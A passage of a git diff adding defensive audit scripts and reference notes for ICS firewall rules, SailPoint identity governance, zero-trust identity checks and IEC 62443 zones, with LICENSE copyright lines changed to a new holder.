print(f"[+] Integrity: {result['status']} ({result['alert_count']} alerts)") + + if args.action in ("detect", "full") and args.watch: + result = detect_ransomware_indicators(args.watch) + report["results"]["detection"] = result + print(f"[+] Detection: {result['status']}") + + if args.action in ("share-config", "full"): + config = generate_honeypot_share_config() + report["results"]["share_config"] = config + print("[+] Honeypot share config generated") + + if args.action in ("analyze", "full") and args.honeypot_log: + result = analyze_honeypot_logs(args.honeypot_log) + report["results"]["log_analysis"] = result + print(f"[+] Honeypot events: {result['total_events']}, writes: {result['write_events']}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-honeytokens-for-breach-detection/LICENSE b/skills/implementing-honeytokens-for-breach-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-honeytokens-for-breach-detection/LICENSE +++ b/skills/implementing-honeytokens-for-breach-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ics-firewall-with-tofino/LICENSE b/skills/implementing-ics-firewall-with-tofino/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-ics-firewall-with-tofino/LICENSE +++ b/skills/implementing-ics-firewall-with-tofino/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ics-firewall-with-tofino/references/api-reference.md b/skills/implementing-ics-firewall-with-tofino/references/api-reference.md new file mode 100644 index 00000000..8bbf6b0a --- /dev/null +++ b/skills/implementing-ics-firewall-with-tofino/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Implementing ICS Firewall with Tofino + +## OT Protocol Ports + +| Protocol | Port | Layer | DPI Support | +|----------|------|-------|-------------| +| Modbus/TCP | 502 | TCP | Yes | +| EtherNet/IP | 44818 | TCP/UDP | Yes | +| DNP3 | 20000 | TCP | Yes | +| OPC UA | 4840 | TCP | Yes | +| S7comm | 102 | TCP | Yes | +| BACnet | 47808 | UDP | Yes | +| IEC 61850 MMS | 102 | TCP | Yes | + +## Risky Modbus Function Codes + +| Code | Function | Risk | +|------|----------|------| +| 5 | Write Single Coil | HIGH | +| 6 | Write Single Register | HIGH | +| 15 | Write Multiple Coils | HIGH | +| 16 | Write Multiple Registers | HIGH | +| 22 | Mask Write Register | HIGH | + +## Tofino Xenon Configuration + +```xml + + Allow + 192.168.1.10 + 192.168.1.50 + Modbus + 502 + + 1,2,3,4 + + true + +``` + +## Rule Audit Checks + +| Check | Severity | Description | +|-------|----------|-------------| +| Allow-any-any | CRITICAL | Overly permissive rule | +| No default deny | CRITICAL | Missing deny-all at end | +| No DPI for OT protocol | HIGH | Missing deep packet inspection | +| Write functions allowed | HIGH | Modbus write codes permitted | +| Allow without logging | MEDIUM | No audit trail | + +### References + +- Belden Tofino: https://www.belden.com/products/industrial-networking/cybersecurity +- IEC 62443-3-3: Industrial Automation Security +- NIST SP 800-82: Guide to ICS Security diff --git a/skills/implementing-ics-firewall-with-tofino/scripts/agent.py b/skills/implementing-ics-firewall-with-tofino/scripts/agent.py new file mode 100644 index 00000000..ae8e786c --- /dev/null +++ b/skills/implementing-ics-firewall-with-tofino/scripts/agent.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python3 +"""Agent for auditing and configuring Tofino ICS firewall rules.""" + +import json +import argparse +import re +from datetime import datetime +from collections import Counter, defaultdict + + +OT_PROTOCOLS = { + "modbus": {"port": 502, "layer": "TCP", "dpi": True}, + "enip": {"port": 44818, "layer": "TCP/UDP", "dpi": True}, + "dnp3": {"port": 20000, "layer": "TCP", "dpi": True}, + "opc_ua": {"port": 4840, "layer": "TCP", "dpi": True}, + "s7comm": {"port": 102, "layer": "TCP", "dpi": True}, + "bacnet": {"port": 47808, "layer": "UDP", "dpi": True}, + "iec61850_mms": {"port": 102, "layer": "TCP", "dpi": True}, + "profinet": {"port": 34964, "layer": "UDP", "dpi": False}, +} + +RISKY_MODBUS_FUNCTIONS = { + 5: "Write Single Coil", + 6: "Write Single Register", + 15: "Write Multiple Coils", + 16: "Write Multiple Registers", + 22: "Mask Write Register", + 23: "Read/Write Multiple Registers", +} + + +def audit_firewall_rules(rules_path): + """Audit Tofino firewall rules for security issues.""" + with open(rules_path) as f: + rules = json.load(f) + rule_list = rules if isinstance(rules, list) else rules.get("rules", []) + findings = [] + + for rule in rule_list: + action = rule.get("action", "").lower() + src = rule.get("source", rule.get("src", "any")) + dst = rule.get("destination", rule.get("dst", "any")) + protocol = rule.get("protocol", "").lower() + port = rule.get("port", rule.get("dst_port", "any")) + + if src == "any" and dst == "any" and action == "allow": + findings.append({ + "rule": rule.get("id", rule.get("name", "")), + "issue": "Allow-any-any rule detected", + "severity": "CRITICAL", + "recommendation": "Restrict to specific source/destination", + }) + + if protocol in ("modbus", "enip", "s7comm") and not rule.get("dpi_enabled", False): + findings.append({ + "rule": rule.get("id", ""), + "issue": f"DPI not enabled for {protocol}", + "severity": "HIGH", + "recommendation": f"Enable deep packet inspection for {protocol}", + }) + + if protocol == "modbus": + allowed_funcs = rule.get("allowed_functions", []) + risky = [f for f in allowed_funcs if f in RISKY_MODBUS_FUNCTIONS] + if risky: + findings.append({ + "rule": rule.get("id", ""), + "issue": f"Write functions allowed: {risky}", + "severity": "HIGH", + "detail": {fc: RISKY_MODBUS_FUNCTIONS[fc] for fc in risky}, + }) + + if action == "allow" and not rule.get("logging", False): + findings.append({ + "rule": rule.get("id", ""), + "issue": "Allow rule without logging", + "severity": "MEDIUM", + }) + + has_deny_all = any(r.get("action", "").lower() == "deny" and + r.get("source", "any") == "any" and + r.get("destination", "any") == "any" for r in rule_list) + if not has_deny_all: + findings.append({ + "issue": "No default deny-all rule found", + "severity": "CRITICAL", + "recommendation": "Add deny-all as last rule", + }) + + return findings + + +def analyze_ot_traffic_log(log_path): + """Analyze OT network traffic log for anomalies.""" + with open(log_path) as f: + entries = json.load(f) + items = entries if isinstance(entries, list) else entries.get("flows", []) + + by_protocol = Counter() + by_src = Counter() + anomalies = [] + + for entry in items: + proto = entry.get("protocol", entry.get("app_protocol", "unknown")).lower() + by_protocol[proto] += 1 + by_src[entry.get("src_ip", "unknown")] += 1 + + port = entry.get("dst_port", 0) + if proto == "modbus" and port != 502: + anomalies.append({"type": "non_standard_port", "protocol": proto, + "port": port, "severity": "HIGH"}) + + if entry.get("action", "").lower() == "denied": + anomalies.append({ + "type": "denied_connection", + "src": entry.get("src_ip", ""), + "dst": entry.get("dst_ip", ""), + "protocol": proto, + "severity": "MEDIUM", + }) + + return { + "total_flows": len(items), + "by_protocol": dict(by_protocol), + "unique_sources": len(by_src), + "anomalies": anomalies[:50], + "anomaly_count": len(anomalies), + } + + +def generate_zone_rules(zone_config): + """Generate Tofino firewall rules from zone configuration.""" + rules = [] + zones = zone_config.get("zones", []) + for zone in zones: + zone_name = zone.get("name", "") + allowed_protocols = zone.get("allowed_protocols", []) + plc_ips = zone.get("plc_ips", []) + hmi_ips = zone.get("hmi_ips", []) + eng_ips = zone.get("engineering_ips", []) + + for proto in allowed_protocols: + proto_info = OT_PROTOCOLS.get(proto, {}) + port = proto_info.get("port", "any") + for hmi in hmi_ips: + for plc in plc_ips: + rules.append({ + "zone": zone_name, + "action": "allow", + "source": hmi, + "destination": plc, + "protocol": proto, + "port": port, + "dpi_enabled": proto_info.get("dpi", False), + "logging": True, + }) + if proto == "modbus": + for eng in eng_ips: + for plc in plc_ips: + rules.append({ + "zone": zone_name, + "action": "allow", + "source": eng, + "destination": plc, + "protocol": "modbus", + "port": 502, + "dpi_enabled": True, + "allowed_functions": [1, 2, 3, 4], + "logging": True, + "comment": "Read-only Modbus for engineering", + }) + + rules.append({"action": "deny", "source": "any", "destination": "any", + "protocol": "any", "logging": True, "comment": "Default deny-all"}) + return rules + + +def main(): + parser = argparse.ArgumentParser(description="Tofino ICS Firewall Agent") + parser.add_argument("--rules", help="Firewall rules JSON to audit") + parser.add_argument("--traffic-log", help="OT traffic log JSON") + parser.add_argument("--zone-config", help="Zone config JSON for rule generation") + parser.add_argument("--action", choices=["audit", "traffic", "generate", "full"], + default="full") + parser.add_argument("--output", default="tofino_ics_firewall_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("audit", "full") and args.rules: + findings = audit_firewall_rules(args.rules) + report["results"]["audit"] = findings + critical = sum(1 for f in findings if f.get("severity") == "CRITICAL") + print(f"[+] Audit: {len(findings)} findings, {critical} critical") + + if args.action in ("traffic", "full") and args.traffic_log: + result = analyze_ot_traffic_log(args.traffic_log) + report["results"]["traffic"] = result + print(f"[+] Traffic: {result['total_flows']} flows, {result['anomaly_count']} anomalies") + + if args.action in ("generate", "full") and args.zone_config: + with open(args.zone_config) as f: + zc = json.load(f) + rules = generate_zone_rules(zc) + report["results"]["generated_rules"] = rules + print(f"[+] Generated {len(rules)} firewall rules") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-identity-governance-with-sailpoint/LICENSE b/skills/implementing-identity-governance-with-sailpoint/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-identity-governance-with-sailpoint/LICENSE +++ b/skills/implementing-identity-governance-with-sailpoint/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-identity-governance-with-sailpoint/references/api-reference.md b/skills/implementing-identity-governance-with-sailpoint/references/api-reference.md new file mode 100644 index 00000000..60d27a9a --- /dev/null +++ b/skills/implementing-identity-governance-with-sailpoint/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Implementing Identity Governance with SailPoint + +## SailPoint IdentityNow V3 API + +```python +import requests +headers = {"Authorization": "Bearer "} +base = "https://TENANT.api.identitynow.com" + +identities = requests.get(f"{base}/v3/search/identities", headers=headers).json() +profiles = requests.get(f"{base}/v3/access-profiles", headers=headers).json() +campaigns = requests.get(f"{base}/v3/campaigns", headers=headers).json() +``` + +## Key API Endpoints + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v3/search/identities` | GET | Search identities | +| `/v3/access-profiles` | GET | List access profiles | +| `/v3/campaigns` | GET | Certification campaigns | +| `/v3/roles` | GET | List roles | +| `/v3/sources` | GET | List identity sources | +| `/v3/accounts` | GET | List accounts | + +## Identity Lifecycle Events + +| Event | Trigger | SLA | +|-------|---------|-----| +| Joiner | HR new hire | 24 hours | +| Mover | Department/role change | 48 hours | +| Leaver | Termination | 1 hour | + +## SOD Policy Types + +| Type | Example | Risk | +|------|---------|------| +| Toxic combination | AP + AR | HIGH | +| Privileged conflict | Admin + Auditor | CRITICAL | +| Regulatory | Trade execution + Compliance | CRITICAL | + +## Certification Campaign Status + +| Status | Action Needed | +|--------|--------------| +| STAGED | Not yet started | +| ACTIVE | In progress | +| COMPLETED | All decisions made | +| OVERDUE | Past deadline - escalate | + +### References + +- SailPoint IdentityNow API: https://developer.sailpoint.com/docs/api/v3 +- SailPoint IIQ: https://community.sailpoint.com/ +- NIST 800-53 AC-2: Account Management diff --git a/skills/implementing-identity-governance-with-sailpoint/scripts/agent.py b/skills/implementing-identity-governance-with-sailpoint/scripts/agent.py new file mode 100644 index 00000000..d6630f4a --- /dev/null +++ b/skills/implementing-identity-governance-with-sailpoint/scripts/agent.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python3 +"""Agent for auditing SailPoint IdentityNow/IIQ identity governance.""" + +import json +import argparse +from datetime import datetime, timedelta +from collections import Counter + +try: + import requests +except ImportError: + requests = None + + +def sailpoint_api(base_url, token, endpoint, method="GET", params=None): + """Call SailPoint IdentityNow API.""" + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + resp = requests.request(method, f"{base_url}{endpoint}", + headers=headers, params=params, timeout=60) + resp.raise_for_status() + return resp.json() + + +def list_identities(base_url, token, limit=250): + """List identities from SailPoint.""" + return sailpoint_api(base_url, token, "/v3/search/identities", + params={"limit": limit}) + + +def list_access_profiles(base_url, token): + """List access profiles.""" + return sailpoint_api(base_url, token, "/v3/access-profiles", params={"limit": 250}) + + +def list_certifications(base_url, token): + """List active certification campaigns.""" + return sailpoint_api(base_url, token, "/v3/campaigns", params={"limit": 50}) + + +def audit_certification_campaigns(campaigns_data): + """Audit certification campaign completion and compliance.""" + campaigns = campaigns_data if isinstance(campaigns_data, list) else \ + campaigns_data.get("campaigns", campaigns_data.get("items", [])) + findings = [] + for campaign in campaigns: + status = campaign.get("status", "").lower() + completion = campaign.get("completionPercentage", campaign.get("completion", 0)) + deadline = campaign.get("deadline", campaign.get("due_date", "")) + if status == "active" and completion < 50: + findings.append({ + "campaign": campaign.get("name", ""), + "issue": f"Low completion: {completion}%", + "severity": "HIGH", + "deadline": deadline, + }) + if status == "overdue": + findings.append({ + "campaign": campaign.get("name", ""), + "issue": "Campaign overdue", + "severity": "CRITICAL", + }) + return findings + + +def audit_sod_violations(sod_data): + """Audit Separation of Duties policy violations.""" + violations = sod_data if isinstance(sod_data, list) else \ + sod_data.get("violations", []) + by_policy = Counter(v.get("policy_name", "unknown") for v in violations) + by_identity = Counter(v.get("identity", "unknown") for v in violations) + critical = [v for v in violations if v.get("severity", "").lower() == "critical"] + return { + "total_violations": len(violations), + "by_policy": dict(by_policy), + "top_violators": dict(by_identity.most_common(10)), + "critical_violations": len(critical), + "details": critical[:20], + } + + +def audit_orphan_accounts(accounts_data): + """Find orphan accounts (no identity correlation).""" + accounts = accounts_data if isinstance(accounts_data, list) else \ + accounts_data.get("accounts", []) + orphans = [] + for acct in accounts: + if not acct.get("identityId") and not acct.get("identity"): + orphans.append({ + "account": acct.get("name", acct.get("nativeIdentity", "")), + "source": acct.get("sourceName", acct.get("source", "")), + "created": acct.get("created", ""), + "last_login": acct.get("lastLogin", acct.get("last_login", "")), + "severity": "HIGH", + }) + return { + "total_accounts": len(accounts), + "orphan_count": len(orphans), + "orphans": orphans[:50], + } + + +def audit_access_reviews(reviews_path): + """Audit access review data for over-provisioned users.""" + with open(reviews_path) as f: + reviews = json.load(f) + items = reviews if isinstance(reviews, list) else reviews.get("reviews", []) + over_provisioned = [] + for review in items: + entitlements = review.get("entitlements", review.get("access", [])) + unused = [e for e in entitlements if not e.get("used_last_90_days", + e.get("last_used", "") != "")] + if len(unused) > 3: + over_provisioned.append({ + "identity": review.get("identity", review.get("user", "")), + "total_entitlements": len(entitlements), + "unused_entitlements": len(unused), + "severity": "HIGH" if len(unused) > 10 else "MEDIUM", + }) + return { + "total_reviewed": len(items), + "over_provisioned": len(over_provisioned), + "details": over_provisioned[:20], + } + + +def generate_lifecycle_policy(): + """Generate identity lifecycle policy recommendations.""" + return { + "joiner": { + "trigger": "HR system new hire event", + "actions": ["Create identity", "Provision birthright access", + "Assign department role", "Send welcome notification"], + "sla": "Within 24 hours of start date", + }, + "mover": { + "trigger": "Department or role change in HR system", + "actions": ["Recalculate role entitlements", "Revoke old department access", + "Provision new role access", "Trigger manager certification"], + "sla": "Within 48 hours of change", + }, + "leaver": { + "trigger": "Termination event from HR system", + "actions": ["Disable all accounts immediately", "Revoke all access", + "Transfer ownership of shared resources", + "Archive mailbox", "Remove from all groups"], + "sla": "Within 1 hour of termination (immediate for involuntary)", + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="SailPoint Identity Governance Agent") + parser.add_argument("--campaigns", help="Certification campaigns JSON") + parser.add_argument("--sod", help="SOD violations JSON") + parser.add_argument("--accounts", help="Accounts data JSON for orphan detection") + parser.add_argument("--reviews", help="Access reviews JSON") + parser.add_argument("--action", choices=["campaigns", "sod", "orphans", "reviews", + "lifecycle", "full"], default="full") + parser.add_argument("--output", default="sailpoint_governance_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("campaigns", "full") and args.campaigns: + with open(args.campaigns) as f: + data = json.load(f) + findings = audit_certification_campaigns(data) + report["results"]["campaigns"] = findings + print(f"[+] Campaign issues: {len(findings)}") + + if args.action in ("sod", "full") and args.sod: + with open(args.sod) as f: + data = json.load(f) + result = audit_sod_violations(data) + report["results"]["sod"] = result + print(f"[+] SOD violations: {result['total_violations']}") + + if args.action in ("orphans", "full") and args.accounts: + with open(args.accounts) as f: + data = json.load(f) + result = audit_orphan_accounts(data) + report["results"]["orphans"] = result + print(f"[+] Orphan accounts: {result['orphan_count']}") + + if args.action in ("reviews", "full") and args.reviews: + result = audit_access_reviews(args.reviews) + report["results"]["reviews"] = result + print(f"[+] Over-provisioned: {result['over_provisioned']}") + + if args.action in ("lifecycle", "full"): + policy = generate_lifecycle_policy() + report["results"]["lifecycle"] = policy + print("[+] Lifecycle policy generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-identity-verification-for-zero-trust/LICENSE b/skills/implementing-identity-verification-for-zero-trust/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-identity-verification-for-zero-trust/LICENSE +++ b/skills/implementing-identity-verification-for-zero-trust/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-identity-verification-for-zero-trust/references/api-reference.md b/skills/implementing-identity-verification-for-zero-trust/references/api-reference.md new file mode 100644 index 00000000..cc3726aa --- /dev/null +++ b/skills/implementing-identity-verification-for-zero-trust/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Implementing Identity Verification for Zero Trust + +## CISA Zero Trust Maturity Model - Identity Pillar + +| Level | Description | Requirements | +|-------|-------------|-------------| +| Traditional | Password-based, static policies | Basic auth | +| Initial | MFA deployed, basic conditional access | MFA for all users | +| Advanced | Phishing-resistant MFA, risk-based | FIDO2, risk signals | +| Optimal | Continuous verification, passwordless | Behavioral analytics | + +## Azure AD Conditional Access API + +```python +import requests +headers = {"Authorization": "Bearer "} +policies = requests.get( + "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies", + headers=headers).json() +``` + +## FIDO2/WebAuthn Registration + +```javascript +const credential = await navigator.credentials.create({ + publicKey: { + rp: { name: "Example Corp" }, + user: { id: userId, name: email, displayName: name }, + challenge: serverChallenge, + pubKeyCredParams: [{ type: "public-key", alg: -7 }], + authenticatorSelection: { residentKey: "required" }, + } +}); +``` + +## Conditional Access Signals + +| Signal | Source | Zero Trust Level | +|--------|--------|-----------------| +| Device compliance | MDM/Intune | Initial | +| Location/IP | Network context | Initial | +| User risk | Identity Protection | Advanced | +| Sign-in risk | Real-time analysis | Advanced | +| Session behavior | UEBA | Optimal | + +## Okta Authentication Policies API + +```bash +curl -X GET "https://DOMAIN.okta.com/api/v1/policies?type=ACCESS_POLICY" \ + -H "Authorization: SSWS " +``` + +### References + +- CISA Zero Trust Maturity Model: https://www.cisa.gov/zero-trust-maturity-model +- NIST SP 800-207: https://csrc.nist.gov/pubs/sp/800/207/final +- FIDO Alliance: https://fidoalliance.org/fido2/ diff --git a/skills/implementing-identity-verification-for-zero-trust/scripts/agent.py b/skills/implementing-identity-verification-for-zero-trust/scripts/agent.py new file mode 100644 index 00000000..a968032d --- /dev/null +++ b/skills/implementing-identity-verification-for-zero-trust/scripts/agent.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python3 +"""Agent for assessing identity verification controls in zero trust architecture.""" + +import json +import argparse +from datetime import datetime +from collections import Counter + + +CISA_ZT_IDENTITY_LEVELS = { + "traditional": { + "description": "Password-based auth, static policies", + "score": 1, + }, + "initial": { + "description": "MFA deployed, basic conditional access", + "score": 2, + }, + "advanced": { + "description": "Phishing-resistant MFA, risk-based access", + "score": 3, + }, + "optimal": { + "description": "Continuous verification, passwordless, behavioral analytics", + "score": 4, + }, +} + + +def assess_authentication_methods(auth_config): + """Assess authentication method strength against zero trust requirements.""" + findings = [] + methods = auth_config.get("methods", auth_config.get("authentication", {})) + + if isinstance(methods, dict): + mfa_enabled = methods.get("mfa_enabled", False) + phishing_resistant = methods.get("phishing_resistant_mfa", False) + passwordless = methods.get("passwordless", False) + fido2 = methods.get("fido2_enabled", False) + sso = methods.get("sso_enabled", False) + + if not mfa_enabled: + findings.append({"control": "MFA", "status": "MISSING", + "severity": "CRITICAL"}) + elif not phishing_resistant: + findings.append({"control": "Phishing-resistant MFA", "status": "MISSING", + "severity": "HIGH", + "recommendation": "Deploy FIDO2 or certificate-based auth"}) + + if not fido2: + findings.append({"control": "FIDO2/WebAuthn", "status": "NOT_DEPLOYED", + "severity": "MEDIUM"}) + if not passwordless: + findings.append({"control": "Passwordless authentication", + "status": "NOT_DEPLOYED", "severity": "MEDIUM"}) + if not sso: + findings.append({"control": "SSO", "status": "NOT_DEPLOYED", + "severity": "HIGH"}) + return findings + + +def assess_conditional_access(policies_path): + """Assess conditional access policies for zero trust alignment.""" + with open(policies_path) as f: + policies = json.load(f) + items = policies if isinstance(policies, list) else policies.get("policies", []) + findings = [] + required_signals = ["device_compliance", "location", "risk_level", + "application", "user_group"] + covered_signals = set() + + for policy in items: + conditions = policy.get("conditions", {}) + for signal in required_signals: + if conditions.get(signal) or signal in str(conditions): + covered_signals.add(signal) + if policy.get("grant_controls", {}).get("operator") == "OR": + findings.append({ + "policy": policy.get("name", ""), + "issue": "Grant controls use OR (should be AND)", + "severity": "HIGH", + }) + if not policy.get("state", "").lower() in ("enabled", "on"): + findings.append({ + "policy": policy.get("name", ""), + "issue": "Policy not enabled", + "severity": "MEDIUM", + }) + + missing = set(required_signals) - covered_signals + for signal in missing: + findings.append({ + "control": f"Conditional access signal: {signal}", + "status": "NOT_COVERED", + "severity": "HIGH", + }) + return {"findings": findings, "covered_signals": list(covered_signals), + "missing_signals": list(missing)} + + +def assess_identity_maturity(config): + """Assess identity pillar maturity against CISA Zero Trust Maturity Model.""" + scores = {} + categories = { + "authentication": { + "checks": ["mfa_enforced", "phishing_resistant_mfa", "passwordless", + "continuous_auth"], + }, + "identity_stores": { + "checks": ["centralized_idp", "cloud_identity", "directory_sync", + "identity_federation"], + }, + "risk_assessment": { + "checks": ["risk_based_access", "behavioral_analytics", + "impossible_travel_detection", "session_risk_scoring"], + }, + "visibility": { + "checks": ["identity_audit_logging", "real_time_monitoring", + "identity_analytics_dashboard", "automated_anomaly_detection"], + }, + } + + for category, info in categories.items(): + implemented = sum(1 for check in info["checks"] + if config.get(category, {}).get(check, False)) + total = len(info["checks"]) + ratio = implemented / total if total else 0 + if ratio >= 0.9: + level = "optimal" + elif ratio >= 0.6: + level = "advanced" + elif ratio >= 0.3: + level = "initial" + else: + level = "traditional" + scores[category] = { + "implemented": implemented, + "total": total, + "ratio": round(ratio, 2), + "maturity_level": level, + "score": CISA_ZT_IDENTITY_LEVELS[level]["score"], + } + + avg_score = sum(s["score"] for s in scores.values()) / len(scores) if scores else 0 + for level_name, level_info in CISA_ZT_IDENTITY_LEVELS.items(): + if level_info["score"] >= avg_score: + overall_level = level_name + break + else: + overall_level = "traditional" + + return {"categories": scores, "overall_score": round(avg_score, 1), + "overall_level": overall_level} + + +def analyze_auth_events(events_path): + """Analyze authentication events for zero trust insights.""" + with open(events_path) as f: + events = json.load(f) + items = events if isinstance(events, list) else events.get("events", []) + + by_method = Counter(e.get("auth_method", "unknown") for e in items) + by_result = Counter(e.get("result", "unknown") for e in items) + risky = [e for e in items if e.get("risk_level", "").lower() in ("high", "critical")] + mfa_bypassed = [e for e in items if e.get("mfa_bypassed", False)] + + return { + "total_events": len(items), + "by_method": dict(by_method), + "by_result": dict(by_result), + "high_risk_events": len(risky), + "mfa_bypass_events": len(mfa_bypassed), + "password_only_rate": round( + by_method.get("password", 0) / len(items) * 100, 1) if items else 0, + } + + +def main(): + parser = argparse.ArgumentParser(description="Zero Trust Identity Verification Agent") + parser.add_argument("--auth-config", help="Authentication config JSON") + parser.add_argument("--policies", help="Conditional access policies JSON") + parser.add_argument("--maturity-config", help="Identity maturity assessment config JSON") + parser.add_argument("--auth-events", help="Authentication events log JSON") + parser.add_argument("--action", choices=["auth", "policies", "maturity", "events", "full"], + default="full") + parser.add_argument("--output", default="zt_identity_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("auth", "full") and args.auth_config: + with open(args.auth_config) as f: + config = json.load(f) + findings = assess_authentication_methods(config) + report["results"]["auth_assessment"] = findings + critical = sum(1 for f in findings if f.get("severity") == "CRITICAL") + print(f"[+] Auth findings: {len(findings)}, {critical} critical") + + if args.action in ("policies", "full") and args.policies: + result = assess_conditional_access(args.policies) + report["results"]["conditional_access"] = result + print(f"[+] Missing signals: {result['missing_signals']}") + + if args.action in ("maturity", "full") and args.maturity_config: + with open(args.maturity_config) as f: + config = json.load(f) + result = assess_identity_maturity(config) + report["results"]["maturity"] = result + print(f"[+] Identity maturity: {result['overall_level']} (score: {result['overall_score']})") + + if args.action in ("events", "full") and args.auth_events: + result = analyze_auth_events(args.auth_events) + report["results"]["events"] = result + print(f"[+] Auth events: {result['total_events']}, password-only: {result['password_only_rate']}%") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-iec-62443-security-zones/LICENSE b/skills/implementing-iec-62443-security-zones/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-iec-62443-security-zones/LICENSE +++ b/skills/implementing-iec-62443-security-zones/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-iec-62443-security-zones/references/api-reference.md b/skills/implementing-iec-62443-security-zones/references/api-reference.md new file mode 100644 index 00000000..a26bbe0c --- /dev/null +++ b/skills/implementing-iec-62443-security-zones/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Implementing IEC 62443 Security Zones + +## Purdue Reference Model Levels + +| Level | Name | Assets | +|-------|------|--------| +| 0 | Process | Sensors, actuators | +| 1 | Basic Control | PLCs, RTUs, safety controllers | +| 2 | Area Supervisory | HMIs, engineering workstations | +| 3 | Site Operations | Historians, OPC servers, MES | +| 3.5 | DMZ | Data diode, patch server | +| 4 | Enterprise | ERP, email, business systems | +| 5 | External | Internet, cloud, vendors | + +## IEC 62443 Security Levels + +| SL | Protection Against | +|----|--------------------| +| SL1 | Casual or coincidental violation | +| SL2 | Intentional violation using simple means | +| SL3 | Sophisticated attack with moderate resources | +| SL4 | State-sponsored attack with extended resources | + +## Zone Audit Checks + +| Check | Severity | Description | +|-------|----------|-------------| +| No SL-T defined | CRITICAL | Zone missing security level target | +| SL gap (achieved < target) | HIGH | Controls below target | +| No conduit controls | CRITICAL | Unprotected zone boundary | +| IT-OT bypass DMZ | CRITICAL | Direct Level 4/5 to Level 0/1 | +| Remote access without MFA | CRITICAL | Unprotected remote conduit | + +## Conduit Security Controls + +| Control | Purdue Boundary | Required | +|---------|----------------|----------| +| Protocol-aware firewall | L0-L1, L1-L2 | Yes | +| Data diode | L3-DMZ | Recommended | +| IDS/IPS | L2-L3, DMZ | Yes | +| VPN + MFA | DMZ-External | Yes | + +### References + +- IEC 62443-3-2: https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards +- NIST SP 800-82: https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final +- Purdue Model: https://www.nist.gov/system/files/documents/2017/04/28/08_Didier_NICE-Workshop.pdf diff --git a/skills/implementing-iec-62443-security-zones/scripts/agent.py b/skills/implementing-iec-62443-security-zones/scripts/agent.py new file mode 100644 index 00000000..99919ec1 --- /dev/null +++ b/skills/implementing-iec-62443-security-zones/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""Agent for designing and auditing IEC 62443 security zones and conduits.""" + +import json +import argparse +from datetime import datetime +from collections import Counter + + +PURDUE_LEVELS = { + 0: {"name": "Process", "description": "Sensors, actuators, field devices"}, + 1: {"name": "Basic Control", "description": "PLCs, RTUs, safety systems"}, + 2: {"name": "Area Supervisory", "description": "HMIs, engineering workstations"}, + 3: {"name": "Site Operations", "description": "Historians, OPC servers, MES"}, + 3.5: {"name": "DMZ", "description": "IT/OT demilitarized zone"}, + 4: {"name": "Enterprise", "description": "ERP, email, business systems"}, + 5: {"name": "External", "description": "Internet, cloud, vendors"}, +} + +SECURITY_LEVELS = { + "SL1": "Protection against casual or coincidental violation", + "SL2": "Protection against intentional violation using simple means", + "SL3": "Protection against sophisticated attack with moderate resources", + "SL4": "Protection against state-sponsored attack with extended resources", +} + + +def audit_zone_architecture(zones_path): + """Audit IEC 62443 zone architecture for compliance.""" + with open(zones_path) as f: + architecture = json.load(f) + zones = architecture.get("zones", []) + conduits = architecture.get("conduits", []) + findings = [] + + for zone in zones: + zone_name = zone.get("name", "") + sl_target = zone.get("sl_target", zone.get("security_level", "")) + sl_achieved = zone.get("sl_achieved", zone.get("current_sl", "")) + purdue_level = zone.get("purdue_level", -1) + + if not sl_target: + 